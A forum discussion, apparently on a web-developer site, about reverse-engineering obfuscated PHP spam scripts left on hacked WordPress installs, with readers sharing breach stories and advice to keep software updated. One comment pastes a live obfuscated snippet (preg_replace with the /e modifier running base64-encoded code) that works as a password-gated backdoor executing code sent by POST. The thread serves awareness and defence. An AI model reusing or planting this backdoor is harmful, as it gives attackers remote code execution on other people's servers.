Dissecting WordPress Spam Scripts

Spam. The unbeatable modern plague.

From email providers like FastMail failing to recognize a sender as a spammer even after dozens of reports…

Excavator buried in gravel or sand with the caption "you had one job"

… to numerous Nigerian princes still in dubious financial trouble, it’s as ubiquitous today as it was decades ago.

An increasingly popular vector of attack these days is using outdated web applications as a “patient zero” and infecting the rest of the shared hosting server with some straightforward but overobfuscated PHP scripts that do one thing, and do it well - send spam. Even if the site is hosted on a dedicated or virtual private server, it’s still just as vulnerable if it’s using outdated plugins or CMSes like WordPress or Joomla.

A developer from the Netherlands who is, by some miracle, not yet our author, recently encountered such a script and took it apart at the seams to see what makes it tick. The story is a very interesting one, and his process of reverse engineering it is highly intriguing, so I encourage you to check the full post out, but I’ll briefly recap it here.

The script, when first encountered, looked like a jumbled mess of (much more of) this:

$GLOBALS['jihux92'] = $j10[86].$j10[62].$j10[86].$j10[64].$j10[73].$j10[27].$j10[19]; $GLOBALS['qsxte55'] = $j10[27].$j10[0].$j10[0].$j10[15].$j10[0].$j10[64].$j10[0].$j10[27].$j10[39].$j10[15].$j10[0].$j10[19].$j10[86].$j10[62].$j10[79]; $GLOBALS['eexet82'] = $j10[30].$j10[73].$j10[15].$j10[62].$j10[64].$j10[33].$j10[27].$j10[6].$j10[15].$j10[33].$j10[27]; $GLOBALS['cydwn23'] = $j10[93].$j10[92].$j10[93].$j10[33].$j10[12].$j10[87].$j10[87]; $GLOBALS['dmvah16'] = $j10[33].$j10[27].$j10[56].$j10[86].$j10[62].$j10[27];

After cleaning it up by introducing new lines and replacing references to $j10 with the values defined in $j10 at the top of the script, Jelle realized many of the obfuscated values are PHP function names:

$GLOBALS['dmvah16'] = "define";
$GLOBALS['uvmxr50'] = "isjdn82";
$GLOBALS['oluxf50'] = "zumzi73";
$GLOBALS['gyeof37'] = "md5";
$GLOBALS['frpwz79'] = "count";
$GLOBALS['yguel83'] = "time";
$GLOBALS['vrubd73'] = "constant";
$GLOBALS['cnftt27'] = "mxdtw46";
$GLOBALS['lfazz33'] = "zdowx44";
$GLOBALS['haimq43'] = "vgrtr3";
$GLOBALS['xfeye26'] = "implode";
$GLOBALS['whzhh71'] = "array_keys";
$GLOBALS['bqdjr8'] = "robma76";
$GLOBALS['uulbr4'] = "moijk28";
$GLOBALS['nqqaa78'] = "eklqy22";
$GLOBALS['mdxuq1'] = "rwznq6";

Applying them to the rest of the code and removing these placeholder variables altogether through a few more passes, the resulting script when prettified and made readable looks nothing short of impressive. It’s a bit too long to paste, so check out Jelle’s upload if you’re curious here or the syntax highlighted version here.

What’s particularly interesting is the amount of effort the spammer went through. This is no mere throwaway script - it not only silences errors, but also checks for available connection types, uses sockets, and even checks the DNS records of an email address to make sure it’s valid. This is no mere spambomb.

Obviously, finding out where this script gets its targets and when it gets triggered is another matter, but its logic alone warrants a separate autopsy post. Until we write it, do let us know if you’ve seen something like this in your own codebases and if so, if you’ve made a similar attempt at reverse engineering it. We’d like to see your examples, compare the levels of sophistication, and maybe even try to find common “signatures” in the code styles.

3 Likes

It is hard for me to imagine the mind or thinking that would go through the efforts to do all of this. Not the reverse engineering. I mean the finding and infiltrating of servers and the production of such a script along with all the obfuscation work to send spam, which is a plague. It is pretty darn evil… :unamused:

Scott

2 Likes

Yet… It’s genius!

I think diabolical is a better description. It is a shame such talent, and yes genius, is wasted on something so insidious.

Scott

5 Likes

I didn’t save the one that hit me.

Even though I have dozens of WordPress sites on my VPS, and all of them with layers of security, I had a breach last month.

I was putting a site in a staging environment for a client. I thought it would only be a few days, and I just quickly got my local install transferred to the staging url. That’s right . . . with username admin and password password. I thought a few days, don’t allow robots, there’s no links anywhere to this site, et., Well a few days went into a couple of weeks and I forgot about it. Until I noticed in my email logs all this mail being generated from the root account.

It took a little while, but soon found that all the files in the root of the WP install had been altered, I assume they found the site, logged in, and changed all the files in the editor, but I didn’t really track it down. I was just so freaked out, I deleted the install immediately, and started over from a fresh one.

Here’s a snippet of the type of code left in the files.
$t26y="\x70\x72e".chr(103)."_r".chr(101).chr(112)."la".chr(99)."\x65";$ax264=chr(101)."\x76a".chr(108)."\x28".chr(98)."\x61\x73\x65\x36\x34_\x64".chr(101).chr(99).chr(111)."d".chr(101)."\x28".chr(34)."\x51\x47".chr(86)."y\x63m\x39yX\x33\x4a".chr(108)."\x63".chr(71).chr(57).chr(121)."d".chr(71)."l".chr(117)."Z\x79".chr(103)."w".chr(75)."T\x73N".chr(67)."kBp\x62\x6dl".chr(102)."c\x32\x56".chr(48)."K\x43".chr(74).chr(107)."\x61\x58\x4e\x77\x62G\x46\x35X\x32".chr(86).chr(121).chr(99)."\x6d".chr(57).chr(121)."\x63\x79\x49\x73M\x43".chr(107)."\x37\x44QpA\x61".chr(87).chr(53).chr(112)."\x583N\x6C".chr(100)."\x43\x67".chr(105).chr(98)."\x479n\x58".chr(50)."\x56".chr(121)."\x63\x6D9ycy\x49".chr(115).chr(77)."\x43\x6b".chr(55).chr(68)."\x51\x70A".chr(97)."\x575p".chr(88)."\x33N".chr(108)."\x64\x43\x67\x69Z\x58J\x79".chr(98)."\x33\x4a\x66\x62".chr(71)."\x39".chr(110)."\x49".chr(105)."\x77\x77K\x54s".chr(78)."C".chr(103)."\x30Ka\x57Y".chr(103)."\x4b\x47lz\x632\x56\x30".chr(75)."\x43\x52f\x55".chr(69)."\x39T".chr(86)."C".chr(107).chr(103).chr(74)."i\x59".chr(103)."a".chr(88)."Nf\x59\x58J\x79".chr(89)."\x58\x6B".chr(111)."\x4A\x469".chr(81)."T1".chr(78)."U\x4b\x53\x41\x6d".chr(74).chr(105)."B\x6a\x623V\x75".chr(100)."\x43".chr(103)."k".chr(88).chr(49)."BP\x55\x31Q\x70P\x6aE\x70\x44".chr(81).chr(112)."7\x44Q\x6F\x4A\x5A\x6D".chr(57)."\x79\x5A".chr(87)."\x46\x6aa\x43A".chr(111)."\x4a\x46\x39\x51\x54\x31N".chr(85).chr(73)."\x47\x46\x7A\x49\x43\x522\x59".chr(88).chr(73).chr(112).chr(68)."Q\x6f".chr(74).chr(101)."w0".chr(75).chr(67).chr(81).chr(108).chr(112)."ZiA".chr(111)."I\x57\x6C\x7A\x63".chr(50)."V0".chr(75)."\x43\x52\x6ab2\x52\x6C".chr(75)."Sk\x67\x4A\x47".chr(78).chr(118).chr(90).chr(71).chr(85).chr(103)."P".chr(83)."\x41kd\x6D\x46y\x4F\x77".chr(48)."KC\x51l\x6c".chr(98)."H".chr(78).chr(108).chr(97)."\x57Y".chr(103)."\x4B\x43F".chr(112)."c3\x4E".chr(108)."\x64".chr(67)."g\x6Bc\x47\x46".chr(122)."c\x79\x6B".chr(112)."ICR".chr(119)."\x59\x58".chr(78).chr(122).chr(73)."D".chr(48)."\x67\x4a".chr(72)."Zh\x63".chr(106).chr(115).chr(78).chr(67)."\x67\x6b\x4a\x5A".chr(87)."x".chr(122)."\x5a".chr(83).chr(66).chr(105)."c".chr(109)."\x56\x68".chr(97)."\x7asN\x43g".chr(108).chr(57)."\x44Q\x6F".chr(78)."Cgl\x70".chr(90).chr(105).chr(65).chr(111)."\x4A\x48\x42\x68\x633\x4dg".chr(80)."\x540\x67\x49n\x5A".chr(97).chr(86).chr(107)."\x70\x74\x540".chr(104)."\x58\x4e\x46".chr(100).chr(105)."\x51T".chr(82)."\x56".chr(82)."\x31F".chr(107).chr(87)."\x48".chr(112)."\x46".chr(90)."\x32".chr(104)."v".chr(85).chr(84)."\x68\x69d\x31\x5aX".chr(101)."\x6C".chr(74)."\x36\x49".chr(105)."\x6b".chr(78).chr(67)."\x67l\x37".chr(68)."Q".chr(111)."\x4A\x43\x57".chr(86).chr(50)."\x59W\x77\x6FY\x6d".chr(70)."\x7a".chr(90)."\x54Y0X".chr(50)."\x52\x6CY29".chr(107).chr(90)."S".chr(103)."\x6b\x592\x39".chr(107).chr(90).chr(83)."kp".chr(79)."w\x30".chr(75).chr(67).chr(88)."\x30N\x43\x6E".chr(48)."N".chr(67)."\x6d".chr(86).chr(52)."\x61XQ".chr(55)."\x22".chr(41)."\x29".chr(59);$Ehih="\x2f\x31".chr(53)."\x33\x31\x37\x38\x36a\x64\x36\x36\x37\x301\x31".chr(98)."634".chr(101)."f\x62a\x61\x62d\x33".chr(100)."\x36".chr(102).chr(97).chr(49).chr(47)."e";$t26y($Ehih,$ax264,"\x315".chr(51)."\x31".chr(55)."\x386a".chr(100)."6\x367".chr(48).chr(49)."\x31\x62\x36\x33\x34\x65\x66".chr(98).chr(97)."ab\x64\x33".chr(100)."\x36\x66\x61".chr(49));

The end result was a perfectly functioning website that no one would suspect was a spambot sending out email by the second.

So I suggest if you’d like to set up a honeypot to capture some code for analysis, just put up a WP site with really simple username and password, and you’ll have some good hard data to analyze :smiling_imp:

1 Like

I frequently inherit sites from other web devs and i’ve dealt with four instances similar to this in as many months. One was an old OpenCart install that had traces of being compromised, the other three were WordPress. One chap was on HostGator and they closed his account because of the spam hack - he had tons of folders in his web root that looked like they were generated by a script, presumably hosting malware and probably the destination of the links spammers put into their emails. Another WordPress (still) has the Google SERP warning “This site may be hacked” - I told the owner in 2014 about it but it seems the problem isn’t a business priority for him. The last one involved an old TimThumb script where the hackers had uploaded a PHP shell script to run commands on the server.

If you are used to seeing WordPress installs these hacks are fairly easy to spot just by looking at the files on the server, if not try running a scan over it with something like the Securi free scan. There is a recurring theme to the hacked sites I dealt with and that is old and out-dated CMS installs. So the lesson learned today is “keep your software updated”

3 Likes

This topic was automatically closed 91 days after the last reply. New replies are no longer allowed.